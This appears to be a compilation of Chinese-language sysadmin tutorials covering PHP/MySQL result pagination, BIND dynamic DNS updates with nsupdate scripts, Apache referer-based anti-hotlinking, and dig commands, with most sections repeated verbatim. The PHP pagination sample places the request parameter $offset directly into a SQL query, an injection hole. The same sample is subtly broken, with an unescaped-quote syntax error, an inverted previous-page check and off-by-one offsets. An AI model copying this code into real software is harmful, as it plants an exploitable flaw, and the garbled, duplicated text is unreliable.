最近,论坛里有很我人都在问如何实现查询结果的分页显示。我希望下面的这段代码对你改进自己的程序能有所帮助。这些代码是用于MYSQL的,但很容易移植到其它SQL上。
由于每个程序的特殊性,所以我在MYSQL的查询里使用了一些很通用的语句。用你的表名替换TABLE;用你的条件语句代替YOUR_CONDITION_HERE;用你希望按其排序的字段名代替WHATEVER(当然如果要排倒序,别忘了加上DESC子句)。
<?php
$qh=mysql_query("SELECT COUNT(*) AS rcnt FROM TABLE WHERE YOUR_CONDITION_HERE ORDER BY WHATEVER");
$data=mysql_fetch_array($qh);
$nr=$data["rcnt"];
//判断偏移量参数是否传递给了脚本,如果没有就使用默认值0
if (empty($offset))
{
$offset=0;
}
//查询结果(这里是每页20条,但你自己完全可以改变它)
$result=mysql_query("SELECT id,name,phone FROM TABLE WHERE YOUR_CONDITION_HERE ORDER BY WHATEVER LIMIT $offset, 20");
//显示返回的20条记录
while ($data=mysql_fetch_array($result))
{
//换成你用于显示返回记录的代码
}
//下一步,要写出到其它页面的链接
if(!$offset) //如果偏移量是0,不显示前一页的链接
{
$preoffset=$offset-20;
print "<a href=\"$PHP_SELF?offset=$preoffset\">前一页</a> \n";
}
//计算总共需要的页数
$pages=ceil($nr/20); //$pages变量现在包含所需的页数
for ($i=1; $i <= $pages; $i++)
{
$newoffset=20*$i;
print "<a href=\"$PHP_SELF?offset=$newoffset\">$i</a> \n";
}
//检查是否是最后一页
if ($pages!=0 && ($newoffset/20)!=$pages)
{
print "<a href="$PHP_SELF?offset=$newoffset">下一页</a> \n";
}
?>
这只是向你大概地介绍了实现将查询结果分页显示的方法,其他的功能你自己完成。
注意两点:$PHP_SELF只有偏移量一个参数,你可以根据需要加入自己的东西;这种办法对包含百万条记录以上的表的查询效率不高。
phpbuiler.com
由于每个程序的特殊性,所以我在MYSQL的查询里使用了一些很通用的语句。用你的表名替换TABLE;用你的条件语句代替YOUR_CONDITION_HERE;用你希望按其排序的字段名代替WHATEVER(当然如果要排倒序,别忘了加上DESC子句)。
<?php
$qh=mysql_query("SELECT COUNT(*) AS rcnt FROM TABLE WHERE YOUR_CONDITION_HERE ORDER BY WHATEVER");
$data=mysql_fetch_array($qh);
$nr=$data["rcnt"];
//判断偏移量参数是否传递给了脚本,如果没有就使用默认值0
if (empty($offset))
{
$offset=0;
}
//查询结果(这里是每页20条,但你自己完全可以改变它)
$result=mysql_query("SELECT id,name,phone FROM TABLE WHERE YOUR_CONDITION_HERE ORDER BY WHATEVER LIMIT $offset, 20");
//显示返回的20条记录
while ($data=mysql_fetch_array($result))
{
//换成你用于显示返回记录的代码
}
//下一步,要写出到其它页面的链接
if(!$offset) //如果偏移量是0,不显示前一页的链接
{
$preoffset=$offset-20;
print "<a href=\"$PHP_SELF?offset=$preoffset\">前一页</a> \n";
}
//计算总共需要的页数
$pages=ceil($nr/20); //$pages变量现在包含所需的页数
for ($i=1; $i <= $pages; $i++)
{
$newoffset=20*$i;
print "<a href=\"$PHP_SELF?offset=$newoffset\">$i</a> \n";
}
//检查是否是最后一页
if ($pages!=0 && ($newoffset/20)!=$pages)
{
print "<a href="$PHP_SELF?offset=$newoffset">下一页</a> \n";
}
?>
这只是向你大概地介绍了实现将查询结果分页显示的方法,其他的功能你自己完成。
注意两点:$PHP_SELF只有偏移量一个参数,你可以根据需要加入自己的东西;这种办法对包含百万条记录以上的表的查询效率不高。
phpbuiler.com
这原本是 Leo 兄的来信指教,因为实在太有参考价值了,於是公诸同好。
所有对 dynamic dns 技术有兴趣的朋友,都应该看的。
--
----- Original Message -----
From: LeoLiou
To: netman
Sent: Monday, February 11, 2002 6:59 AM
Subject: about dns
Hi, kenny:
我是 Leo,好久不见棉~~ 在此跟您拜个年,新年快乐喔~ :-)
放假回来翻了您的 DNS 教学,嗯,太棒棉,补充了许多许多的新东西,
昨天我回了一篇有关 "动态 IP 架站" 的讨论文章,里面是提到动态更新
DNS 的,自行架设 Dynamic DNS 与 client 端的 script 更新,不过我在
DNS 中,不是使用 allow-update,而是使用 update-policy,update-policy
比起 allow-update 更有弹性,比方,可以限定什麽 key 可以做什麽事。
举例来说,我的 named.conf 长得像是这样..
// --------------- 宣告 Key 的部分---------------
// P.S: 底下的 leo, mail key 是不正确的
key "leo" {
algorithm hmac-md5;
secret "hB/XM2eFTyxA5r/scautOZ==";
};
key "mail" {
algorithm hmac-md5;
secret "ht5TkKKFP5l8u9ZTcDbStw==";
};
// --------------- 宣告 ZONE 的部分---------------
zone "sayya.org" {
type master;
file "named.sayya";
notify yes;
also-notify {
140.128.78.250;
211.23.99.147;
61.218.164.83;
};
allow-transfer {
140.128.78.250;
211.23.99.147;
61.218.164.83;
};
allow-query {
0.0.0.0/0;
};
update-policy {
// 使用 mail HOST 的 key,仅有权限变更 mail.sayya.org 与 rsync.sayya.org 的 A record
grant mail name mail.sayya.org. A;
grant mail name rsync.sayya.org. A;
// 使用 leo USER 的 key,可以完全控制 sayya.org,比方新增一 subdomain,指定 DNS
// 或是增加一 A, CNAME,TXT.. record 等等
grant leo subdomain sayya.org. ANY;
};
};
大概就是这个样子,另外附上之前回覆的那篇..
--------
作者: leoliou (暖冬) 看板: Linux
标题: Re: 动态 IP 架站 @_@
时间: Sun Feb 10 14:49:30 2002
※ 引述《skchen.bbs@bbs.nsysu.edu.tw (ㄚ凯)》之铭言∶
> 小弟在之前就有提过相关的问题
> 大家用的动态IP对映的系统都不一样
> 我是用 DynDNS 的系统
> 也不知道为什麽跑了一段时间就会产生一大堆僵尸程序 @_@
> 更神的是找不到程序在哪里(还是我比较逊脚????) @_@
> 这好像是 DynDNS 给的 ddClient 程式有 BUG 吧
> 我利用了 perl 和 bash shell script 写了一些小程式
> 可以用来侦测 PPP 介面是否存在
> 如果不存在就连线 ^o^
嗯,看到这封信感觉是真的有讨论的气氛,超喜欢这种感觉~
记得以前还用 ADSL 拨接制的时候,是使用 rp-pppoe 连线的,会在断线後自动
重新连线,这个可以解决断线的问题。
再来是重点了,Dynamic IP 怎麽办呢?我目前的环境是双向 Cable,IP 也是由
DHCP Server 取得 Dynamic IP 的。当然,如果您去申请 dns2go 类似的程式,
是可以解决您动态 IP 的问题,但是缺点是您不可以使用自己的网址,一定要是
某一些已经律定好的网址,或者是有可能要求您把 Primary DNS 指向该公司代
管,另外,就是您可能还要在 Server 中执行该公司所提供的动态 IP 更新程式..
无论如何,就会让我联想到系统安全性的问题.. 对我来说,非常不方便。
於是,我找了一台固定 IP 的 Server,架上了 Bind,这台就是我自己网域的
Primary DNS,也就是 Dynamic DNS,如何设定,晚点提到。而这台 DNS 的
固定 IP 假设为 61.22.33.20,Domain 为 example.com,注册名称为
ns.example.com
再来,比方我的 mail server 架在家里,就是我现在双向 Cable 的线路上,
这台 mail server 的 Domain name 假设为∶ mail.example.com
我只要定时向我的 Primary DNS 更新我的 mail server 的 IP 就可以棉,
Primary DNS 怎麽判断允许哪些电脑做更新呢?有两种方式,第一种方式为
在 Primary DNS 中设定 allow-update,设定某些固定 IP 可以向 Primary
DNS 更新资料,但是比较没有弹性。另外一种就是待会要介绍的
update-policy。
allow-update 可以允许特定的 IP 或 key 来做动态更新,预设是不允许任何
IP 更新。
update-policy 在 BIND 9 才提供,不用指定某特定的 IP 才可以做动态更新,
而是要凭 key 来决定更新权限。Primary DNS 有这个 key,
mail server 往後只要凭这个 key 就可以动态更新 IP 了。
当然了,mail server 与 Primary DNS 的 key 得一样才行。
key 就是用 dnssec-keygen 工具产生出来的签证,现在於 Primary DNS
上,产生 key,并发给 mail server。
首先,感生 mail server 用的 key∶
# dnssec-keygen -a HMAC-MD5 -b 128 -n HOST mail
Kmail.+157+44587
#
查看一下,结果会产生了档名类似 Kmail.+157+44587.key 与
Kmail.+157+44587.private 两个档案。
其中 Kmail.+157+44587.key 档案内容长得类似这样∶
# less Kmail.+157+44587.key
mail. IN KEY 512 3 157 BJ7y6dzxchy3u0B4hRLksQ==
#
档案内容 BJ7y6dzxchy3u0B4hRLksQ== 这是编码过的,就是所谓的 key。
首先,您得将这两个 key 复制到 mail server 上面,建议使用 sftp 传输,
避免被窃。
现在,开始 Primary DNS 上的设定了。
----- /etc/named.conf ----------
key "mail" {
algorithm hmac-md5;
secret "BJ7y6dzxchy3u0B4hRLksQ==";
};
zone "example.com" {
type master;
file "named.example";
update-policy {
grant mail name mail.example.com. A;
// mail key 仅允许更新 mail.example.com 的 A record.
};
};
----- End of File ----------
Primary DNS 上面的设定完成後,请记得重跑 bind。
接下来,在 mail server 方面,要如何更新呢?
当然,最重要的,首先要取得 mail server 的 key。刚刚已经有提到,
在 Primary DNS 产生後,用 ftp 传输到 mail server 来。
使用 nsupdate 工具向 Primary DNS 做更新动作∶
$ nsupdate -k Kmail.+157+44587.key
> server ns.example.com // 指定 Primary DNS
> update delete mail.example.com A // 先删除旧资料
> update add mail.example.com 0 A 210.64.233.10 // 再新增资料
> send // 送出到 Primary DNS
$ // Ctrl-C or Ctrl-D 离开
验证一下,是不是更新成功∶
$ host mail.example.com ns.example.com
mail.example.com has address 210.64.233.10
$
恭喜您更新成功了,如果您没有成功,请到 Primary DNS 上看 messages 纪录档。
注意, key 档案的权限,应该只有 owner 可以读写,应为 -rw------- 请注意。
执行 nsupdate 的 user,应为 key 的 owner,否则会发生 Permission denied
的情形。
如果您要让您的电脑自动更新,这里有我自己写的 script 供参考∶
建立一个 tmp.txt 内容如下∶
----- tmp.txt ----------
server ns.example.com
update delete mail.example.com A
update add mail.example.com 0 A SERVER_NEW_IP
send
----- End of File ----------
建立更新的 script: newip.sh
----- newip.sh ----------
#!/bin/sh
#
# Written by LeoLiou.
#
# config the update dir.
exe_path=/root/nsupdate
new_IP=`/sbin/ifconfig eth0 | grep 'inet addr' | cut -d: -f 2 \
| cut -d' ' -f1`
/bin/cat $exe_path/tmp.txt | sed s/SERVER_NEW_IP/$new_IP/g \
> $exe_path/update.txt
# update now IP to name server.
/usr/bin/nsupdate -k $exe_path/Kmail.+157+44587.key -v $exe_path/update.txt
----- End of File ----------
请将您的 key, tmp.txt, newip.sh 放置於同一目录,并给予 newip.sh 执行权限。
请执行一次 newip.sh 确定没有问题之後,再利用 crontab 执行 newip.sh 即可。
0 * * * * /root/nsupdate/newip.sh
这样就完成整个动态 IP 更新机制了。
关於 update-policy,请看 BIND 9 Administrator Reference Manual∶
http://www.isc.org/products/BIND/bind9.html
dnssec-keygen 与 nsupdate 的使用方法,相信 man page 写得已经很清楚了。
:-)
--
Leo Liou (leo@i18n.linux.org.tw)
Join i18n project: http://i18n.linux.org.tw/
* ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~
---------------
补充 by netman on October 30, 2002:
---------------
我略为修改了 Leo兄 的 script ,并置於 /root/nsupdate 目录下面。
我这里将界面改为 ppp0 ,同时也减少不必要的传送动作。
(注:原本的 tmp.txt 我也改名为 nsupdate.scr 了,请留意。)
内容如下:
#!/bin/bash
#
# Written by LeoLiou.
# Modified by netman on 2002/09/26
#
# set variables
if echo $0 | grep '^/' ; then
w_dir=${0%/*}
else
w_dir=$PWD/${0%/*}
fi
KEY_FILE=$w_dir/Kmail.+157+44587.key
UPDATE_SCR=$w_dir/nsupdate.scr
UPDATE_DATA=$w_dir/nsupdate.data
HOST_NAME=mail.example.com
NS_SERVER=ns.example.com
IF="ppp0"
# ensure key files
for file in $KEY_FILE ${KEY_FILE%key}private
do
if [ ! -r $file ]; then
echo "$(basename $0): ERROR: $file is not readable."
exit 1
fi
done
# prepare initial script
test -f $UPDATE_SCR || {
cat >| $UPDATE_SCR <<-ENDSCR
server NS_SERVER
update delete HOST_NAME A
update add HOST_NAME 0 A NEW_IP
send
ENDSCR # <----- 请将 ENDSCR 前面的空白换成 tab !
test "$?" = "0" || {
echo "$(basename $0): ERROR: could not create $UPDATE_SCR."
exit 2
}
}
# ensure the server is connectable
host $NS_SERVER $NS_SERVER | grep "$NS_SERVER" &>/dev/null || {
echo "$(basename $0): ERROR: could not contact nameserver $NS_SERVER."
exit 3
}
# get current ip
NEW_IP=$(ifconfig | grep "$IF " -A 1 \
| awk '/inet/ {print $2}' | sed -e 's/.*://')
# do a test then update
host $HOST_NAME $NS_SERVER | grep "$NEW_IP" &>/dev/null || {
/bin/cat $UPDATE_SCR | sed s/NEW_IP/$NEW_IP/ \
| sed s/NS_SERVER/$NS_SERVER/ \
| sed s/HOST_NAME/$HOST_NAME/ \
>| $UPDATE_DATA
/usr/bin/nsupdate -k $KEY_FILE -v $UPDATE_DATA || rm -rf $UPDATE_DATA
}
#-- end of script --#
上面的 script 可於这里下载∶
http://study-area.ks.edu.tw/linux/src/newip.sh.tgz
目前这个 script 只能在 linux client 上执行,
但我想,透过简单的 cgi 功能,那麽任何的 windows client 也能轻松的进行更新,
不过,这部份就需要其他朋友帮忙设定了。
假如您已经成功完成了,欢迎通知 leo 或 netman ,以便和大家作更进一步的分享。
谢谢!
所有对 dynamic dns 技术有兴趣的朋友,都应该看的。
--
----- Original Message -----
From: LeoLiou
To: netman
Sent: Monday, February 11, 2002 6:59 AM
Subject: about dns
Hi, kenny:
我是 Leo,好久不见棉~~ 在此跟您拜个年,新年快乐喔~ :-)
放假回来翻了您的 DNS 教学,嗯,太棒棉,补充了许多许多的新东西,
昨天我回了一篇有关 "动态 IP 架站" 的讨论文章,里面是提到动态更新
DNS 的,自行架设 Dynamic DNS 与 client 端的 script 更新,不过我在
DNS 中,不是使用 allow-update,而是使用 update-policy,update-policy
比起 allow-update 更有弹性,比方,可以限定什麽 key 可以做什麽事。
举例来说,我的 named.conf 长得像是这样..
// --------------- 宣告 Key 的部分---------------
// P.S: 底下的 leo, mail key 是不正确的
key "leo" {
algorithm hmac-md5;
secret "hB/XM2eFTyxA5r/scautOZ==";
};
key "mail" {
algorithm hmac-md5;
secret "ht5TkKKFP5l8u9ZTcDbStw==";
};
// --------------- 宣告 ZONE 的部分---------------
zone "sayya.org" {
type master;
file "named.sayya";
notify yes;
also-notify {
140.128.78.250;
211.23.99.147;
61.218.164.83;
};
allow-transfer {
140.128.78.250;
211.23.99.147;
61.218.164.83;
};
allow-query {
0.0.0.0/0;
};
update-policy {
// 使用 mail HOST 的 key,仅有权限变更 mail.sayya.org 与 rsync.sayya.org 的 A record
grant mail name mail.sayya.org. A;
grant mail name rsync.sayya.org. A;
// 使用 leo USER 的 key,可以完全控制 sayya.org,比方新增一 subdomain,指定 DNS
// 或是增加一 A, CNAME,TXT.. record 等等
grant leo subdomain sayya.org. ANY;
};
};
大概就是这个样子,另外附上之前回覆的那篇..
--------
作者: leoliou (暖冬) 看板: Linux
标题: Re: 动态 IP 架站 @_@
时间: Sun Feb 10 14:49:30 2002
※ 引述《skchen.bbs@bbs.nsysu.edu.tw (ㄚ凯)》之铭言∶
> 小弟在之前就有提过相关的问题
> 大家用的动态IP对映的系统都不一样
> 我是用 DynDNS 的系统
> 也不知道为什麽跑了一段时间就会产生一大堆僵尸程序 @_@
> 更神的是找不到程序在哪里(还是我比较逊脚????) @_@
> 这好像是 DynDNS 给的 ddClient 程式有 BUG 吧
> 我利用了 perl 和 bash shell script 写了一些小程式
> 可以用来侦测 PPP 介面是否存在
> 如果不存在就连线 ^o^
嗯,看到这封信感觉是真的有讨论的气氛,超喜欢这种感觉~
记得以前还用 ADSL 拨接制的时候,是使用 rp-pppoe 连线的,会在断线後自动
重新连线,这个可以解决断线的问题。
再来是重点了,Dynamic IP 怎麽办呢?我目前的环境是双向 Cable,IP 也是由
DHCP Server 取得 Dynamic IP 的。当然,如果您去申请 dns2go 类似的程式,
是可以解决您动态 IP 的问题,但是缺点是您不可以使用自己的网址,一定要是
某一些已经律定好的网址,或者是有可能要求您把 Primary DNS 指向该公司代
管,另外,就是您可能还要在 Server 中执行该公司所提供的动态 IP 更新程式..
无论如何,就会让我联想到系统安全性的问题.. 对我来说,非常不方便。
於是,我找了一台固定 IP 的 Server,架上了 Bind,这台就是我自己网域的
Primary DNS,也就是 Dynamic DNS,如何设定,晚点提到。而这台 DNS 的
固定 IP 假设为 61.22.33.20,Domain 为 example.com,注册名称为
ns.example.com
再来,比方我的 mail server 架在家里,就是我现在双向 Cable 的线路上,
这台 mail server 的 Domain name 假设为∶ mail.example.com
我只要定时向我的 Primary DNS 更新我的 mail server 的 IP 就可以棉,
Primary DNS 怎麽判断允许哪些电脑做更新呢?有两种方式,第一种方式为
在 Primary DNS 中设定 allow-update,设定某些固定 IP 可以向 Primary
DNS 更新资料,但是比较没有弹性。另外一种就是待会要介绍的
update-policy。
allow-update 可以允许特定的 IP 或 key 来做动态更新,预设是不允许任何
IP 更新。
update-policy 在 BIND 9 才提供,不用指定某特定的 IP 才可以做动态更新,
而是要凭 key 来决定更新权限。Primary DNS 有这个 key,
mail server 往後只要凭这个 key 就可以动态更新 IP 了。
当然了,mail server 与 Primary DNS 的 key 得一样才行。
key 就是用 dnssec-keygen 工具产生出来的签证,现在於 Primary DNS
上,产生 key,并发给 mail server。
首先,感生 mail server 用的 key∶
# dnssec-keygen -a HMAC-MD5 -b 128 -n HOST mail
Kmail.+157+44587
#
查看一下,结果会产生了档名类似 Kmail.+157+44587.key 与
Kmail.+157+44587.private 两个档案。
其中 Kmail.+157+44587.key 档案内容长得类似这样∶
# less Kmail.+157+44587.key
mail. IN KEY 512 3 157 BJ7y6dzxchy3u0B4hRLksQ==
#
档案内容 BJ7y6dzxchy3u0B4hRLksQ== 这是编码过的,就是所谓的 key。
首先,您得将这两个 key 复制到 mail server 上面,建议使用 sftp 传输,
避免被窃。
现在,开始 Primary DNS 上的设定了。
----- /etc/named.conf ----------
key "mail" {
algorithm hmac-md5;
secret "BJ7y6dzxchy3u0B4hRLksQ==";
};
zone "example.com" {
type master;
file "named.example";
update-policy {
grant mail name mail.example.com. A;
// mail key 仅允许更新 mail.example.com 的 A record.
};
};
----- End of File ----------
Primary DNS 上面的设定完成後,请记得重跑 bind。
接下来,在 mail server 方面,要如何更新呢?
当然,最重要的,首先要取得 mail server 的 key。刚刚已经有提到,
在 Primary DNS 产生後,用 ftp 传输到 mail server 来。
使用 nsupdate 工具向 Primary DNS 做更新动作∶
$ nsupdate -k Kmail.+157+44587.key
> server ns.example.com // 指定 Primary DNS
> update delete mail.example.com A // 先删除旧资料
> update add mail.example.com 0 A 210.64.233.10 // 再新增资料
> send // 送出到 Primary DNS
$ // Ctrl-C or Ctrl-D 离开
验证一下,是不是更新成功∶
$ host mail.example.com ns.example.com
mail.example.com has address 210.64.233.10
$
恭喜您更新成功了,如果您没有成功,请到 Primary DNS 上看 messages 纪录档。
注意, key 档案的权限,应该只有 owner 可以读写,应为 -rw------- 请注意。
执行 nsupdate 的 user,应为 key 的 owner,否则会发生 Permission denied
的情形。
如果您要让您的电脑自动更新,这里有我自己写的 script 供参考∶
建立一个 tmp.txt 内容如下∶
----- tmp.txt ----------
server ns.example.com
update delete mail.example.com A
update add mail.example.com 0 A SERVER_NEW_IP
send
----- End of File ----------
建立更新的 script: newip.sh
----- newip.sh ----------
#!/bin/sh
#
# Written by LeoLiou.
#
# config the update dir.
exe_path=/root/nsupdate
new_IP=`/sbin/ifconfig eth0 | grep 'inet addr' | cut -d: -f 2 \
| cut -d' ' -f1`
/bin/cat $exe_path/tmp.txt | sed s/SERVER_NEW_IP/$new_IP/g \
> $exe_path/update.txt
# update now IP to name server.
/usr/bin/nsupdate -k $exe_path/Kmail.+157+44587.key -v $exe_path/update.txt
----- End of File ----------
请将您的 key, tmp.txt, newip.sh 放置於同一目录,并给予 newip.sh 执行权限。
请执行一次 newip.sh 确定没有问题之後,再利用 crontab 执行 newip.sh 即可。
0 * * * * /root/nsupdate/newip.sh
这样就完成整个动态 IP 更新机制了。
关於 update-policy,请看 BIND 9 Administrator Reference Manual∶
http://www.isc.org/products/BIND/bind9.html
dnssec-keygen 与 nsupdate 的使用方法,相信 man page 写得已经很清楚了。
:-)
--
Leo Liou (leo@i18n.linux.org.tw)
Join i18n project: http://i18n.linux.org.tw/
* ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~
---------------
补充 by netman on October 30, 2002:
---------------
我略为修改了 Leo兄 的 script ,并置於 /root/nsupdate 目录下面。
我这里将界面改为 ppp0 ,同时也减少不必要的传送动作。
(注:原本的 tmp.txt 我也改名为 nsupdate.scr 了,请留意。)
内容如下:
#!/bin/bash
#
# Written by LeoLiou.
# Modified by netman on 2002/09/26
#
# set variables
if echo $0 | grep '^/' ; then
w_dir=${0%/*}
else
w_dir=$PWD/${0%/*}
fi
KEY_FILE=$w_dir/Kmail.+157+44587.key
UPDATE_SCR=$w_dir/nsupdate.scr
UPDATE_DATA=$w_dir/nsupdate.data
HOST_NAME=mail.example.com
NS_SERVER=ns.example.com
IF="ppp0"
# ensure key files
for file in $KEY_FILE ${KEY_FILE%key}private
do
if [ ! -r $file ]; then
echo "$(basename $0): ERROR: $file is not readable."
exit 1
fi
done
# prepare initial script
test -f $UPDATE_SCR || {
cat >| $UPDATE_SCR <<-ENDSCR
server NS_SERVER
update delete HOST_NAME A
update add HOST_NAME 0 A NEW_IP
send
ENDSCR # <----- 请将 ENDSCR 前面的空白换成 tab !
test "$?" = "0" || {
echo "$(basename $0): ERROR: could not create $UPDATE_SCR."
exit 2
}
}
# ensure the server is connectable
host $NS_SERVER $NS_SERVER | grep "$NS_SERVER" &>/dev/null || {
echo "$(basename $0): ERROR: could not contact nameserver $NS_SERVER."
exit 3
}
# get current ip
NEW_IP=$(ifconfig | grep "$IF " -A 1 \
| awk '/inet/ {print $2}' | sed -e 's/.*://')
# do a test then update
host $HOST_NAME $NS_SERVER | grep "$NEW_IP" &>/dev/null || {
/bin/cat $UPDATE_SCR | sed s/NEW_IP/$NEW_IP/ \
| sed s/NS_SERVER/$NS_SERVER/ \
| sed s/HOST_NAME/$HOST_NAME/ \
>| $UPDATE_DATA
/usr/bin/nsupdate -k $KEY_FILE -v $UPDATE_DATA || rm -rf $UPDATE_DATA
}
#-- end of script --#
上面的 script 可於这里下载∶
http://study-area.ks.edu.tw/linux/src/newip.sh.tgz
目前这个 script 只能在 linux client 上执行,
但我想,透过简单的 cgi 功能,那麽任何的 windows client 也能轻松的进行更新,
不过,这部份就需要其他朋友帮忙设定了。
假如您已经成功完成了,欢迎通知 leo 或 netman ,以便和大家作更进一步的分享。
谢谢!
apache2.0.54防止盗连接详细配置
apache2.0.54防止盗连接
作者:修理工
要让apache防盗连接,首先要让apache支持.htaccess客户设置文件,还要增加mod_rewrite模块。以下是我的编译安装过程。
1. 安装apache增加mod_rewrite模块
tar xfzv httpd-2.0.54.tar.gz
cd httpd-2.0.54
./configure --prefix=/usr/local/httpd --enable-module=most --enable-shared=max --enable-rewrite
--enable-rewrite将od_rewrite模块编译进来
make
make install
查看apache编译进来的模块
[root@TFP httpd-2.0.54]# /usr/local/httpd/bin/apachectl -l
Compiled in modules:
core.c
mod_access.c //支持.htaccess文件
mod_auth.c
mod_include.c
mod_log_config.c
mod_env.c
mod_setenvif.c
prefork.c
http_core.c
mod_mime.c
mod_status.c
mod_autoindex.c
mod_asis.c
mod_cgi.c
mod_negotiation.c
mod_dir.c
mod_imap.c
mod_actions.c
mod_userdir.c
mod_alias.c
mod_rewrite.c //已经将od_rewrite编译进来了
mod_so.c
[root@TFP httpd-2.0.54]#
2.设置apache配置文件httpd.conf
<Directory />
Options FollowSymLinks
AllowOverride All 将None修改为All
</Directory>
AllowOverride All 将None修改为All
修改默认APACHE名去掉#ServerName前的#设置为127.0.0.1
ServerName 127.0.0.1
设置虚拟主机
NameVirtualHost 220.202.19.82
<VirtualHost 220.202.19.82>
DocumentRoot /home/down
ServerName down.sy165.cn
</VirtualHost>
重启Apache2服务器
接下就是做一个 .htaccess 文件了,其 .htaccess 文件内容为
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^http://www.sy165.cn/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.sy165.cn$ [NC]
RewriteRule .*\.(jpg|jpeg|gif|png|bmp|rar|zip|exe)$ http://www.sy165.cn/err.htm [R,NC]
将这个文件放到/home/down目录下
RewriteCond %{HTTP_REFERER} !^http://www.sy165.cn/.*$ [NC]
只允许通过www.sy165.cn/*才能下载down.sy165.cn下的文件。
RewriteCond %{HTTP_REFERER} !^http://www.sy165.cn$ [NC]
只允许通过www.sy165.cn才能下载down.sy165.cn下的文件
RewriteRule .*\.(jpg|jpeg|gif|png|bmp|rar|zip|exe)$ http://www.sy165.cn/err.htm [R,NC]
jpg|jpeg|gif|png|bmp|rar|zip|exe是要保护的内容,如果岛连接将跳转到http://www.sy165.cn/err.htm
测试地址可以通过http://www.sy165.cn下载CS1.6 标准版3147版下载
不能直接通过URL:http://down.sy165.cn/game/CS_16_3174.exe 下载
apache2.0.54防止盗连接
作者:修理工
要让apache防盗连接,首先要让apache支持.htaccess客户设置文件,还要增加mod_rewrite模块。以下是我的编译安装过程。
1. 安装apache增加mod_rewrite模块
tar xfzv httpd-2.0.54.tar.gz
cd httpd-2.0.54
./configure --prefix=/usr/local/httpd --enable-module=most --enable-shared=max --enable-rewrite
--enable-rewrite将od_rewrite模块编译进来
make
make install
查看apache编译进来的模块
[root@TFP httpd-2.0.54]# /usr/local/httpd/bin/apachectl -l
Compiled in modules:
core.c
mod_access.c //支持.htaccess文件
mod_auth.c
mod_include.c
mod_log_config.c
mod_env.c
mod_setenvif.c
prefork.c
http_core.c
mod_mime.c
mod_status.c
mod_autoindex.c
mod_asis.c
mod_cgi.c
mod_negotiation.c
mod_dir.c
mod_imap.c
mod_actions.c
mod_userdir.c
mod_alias.c
mod_rewrite.c //已经将od_rewrite编译进来了
mod_so.c
[root@TFP httpd-2.0.54]#
2.设置apache配置文件httpd.conf
<Directory />
Options FollowSymLinks
AllowOverride All 将None修改为All
</Directory>
AllowOverride All 将None修改为All
修改默认APACHE名去掉#ServerName前的#设置为127.0.0.1
ServerName 127.0.0.1
设置虚拟主机
NameVirtualHost 220.202.19.82
<VirtualHost 220.202.19.82>
DocumentRoot /home/down
ServerName down.sy165.cn
</VirtualHost>
重启Apache2服务器
接下就是做一个 .htaccess 文件了,其 .htaccess 文件内容为
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^http://www.sy165.cn/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.sy165.cn$ [NC]
RewriteRule .*\.(jpg|jpeg|gif|png|bmp|rar|zip|exe)$ http://www.sy165.cn/err.htm [R,NC]
将这个文件放到/home/down目录下
RewriteCond %{HTTP_REFERER} !^http://www.sy165.cn/.*$ [NC]
只允许通过www.sy165.cn/*才能下载down.sy165.cn下的文件。
RewriteCond %{HTTP_REFERER} !^http://www.sy165.cn$ [NC]
只允许通过www.sy165.cn才能下载down.sy165.cn下的文件
RewriteRule .*\.(jpg|jpeg|gif|png|bmp|rar|zip|exe)$ http://www.sy165.cn/err.htm [R,NC]
jpg|jpeg|gif|png|bmp|rar|zip|exe是要保护的内容,如果岛连接将跳转到http://www.sy165.cn/err.htm
测试地址可以通过http://www.sy165.cn下载CS1.6 标准版3147版下载
不能直接通过URL:http://down.sy165.cn/game/CS_16_3174.exe 下载
在 unix 和 linux 下,建议大家使用 dig 命令来代替 nslookup。 dig 命令的功能比 nslookup 强大很多,不像 nslookkup 还得 set 来 set 去的,怪麻烦的。下面是 dig 的一些比较常用的命令:
# dig 最基本的用法
dig @server sina.com.cn.
# 用 dig 查看 zone 数据传输
dig @server zx.xmgd.com. AXFR
# 用 dig 查看 zone 数据的增量传输
dig @server zx.xmgd.com. IXFR=N
# 用 dig 查看反向解析
dig -x 210.52.83.228 @server
# 查找一个域的授权 dns 服务器
dig xmgd.com. +nssearch
# 从根服务器开始追踪一个域名的解析过程
dig xmgd.com +trace
# 查看你使用的是哪个 F root dns server
dig +norec @F.ROOT-SERVERS.NET HOSTNAME.BIND CHAOS TXT

DNS 基础知识
1、BIND 的 forwarder 功能
http://bbs.chinaunix.net/forum/viewtopic.php?t=208...
2、DNS Cache 的一些小技巧
http://bbs.chinaunix.net/forum/viewtopic.php?t=956...
3、dig 命令的基本用法
http://bbs.chinaunix.net/forum/viewtopic.php?t=229...
4、简单建立 DNS 的 shell script
http://bbs.chinaunix.net/forum/viewtopic.php?t=217...
5、BIND 动态更新功能
http://bbs.chinaunix.net/forum/viewtopic.php?t=225...
6、BIND 的 View 功能
http://www.chinaunix.net/bbsjh/3/6015.html
二、DNS 安装与配置
1、BIND 安装简易指南
http://bbs.chinaunix.net/forum/viewtopic.php?t=206...
2、简单的 BIND chroot 配置指南
http://bbs.chinaunix.net/forum/viewtopic.php?t=336...
3、DNS 查询统计工具 DNStop 的安装
http://bbs.chinaunix.net/forum/viewtopic.php?t=196...
4、DNStop 在 solaris 下的安装
http://bbs.chinaunix.net/forum/viewtopic.php?t=364...
三、DNS 资料下载
1、DNS 和 BIND 方面的电子版书籍下载
http://bbs.chinaunix.net/forum/viewtopic.php?t=146...
2、DNS 和 BIND 相关网站地址列表
http://bbs.chinaunix.net/forum/viewtopic.php?t=187...
3、台湾 twnic 的 DNS 技术研讨班教材(粉不错噢)
http://rs.twnic.net.tw/DNS93/download/93DN-1.pdf
http://rs.twnic.net.tw/DNS93/download/93DN-2.pdf
4、BIND 各版本漏洞分布情况
http://www.isc.org/sw/bind/bind-security.php
5、PowerDNS 安装与管理
http://www.powerdns.com Mysql DNS
http://sourceforge.net/projects/poweradmin/ PowerDNS Web UI
6、bind error 信息索引
http://www.menandmice.com/docs/named_messages.htm
四、DNS 高阶探讨
1、DNS Server 负载探讨
http://bbs.chinaunix.net/forum/viewtopic.php?t=363...
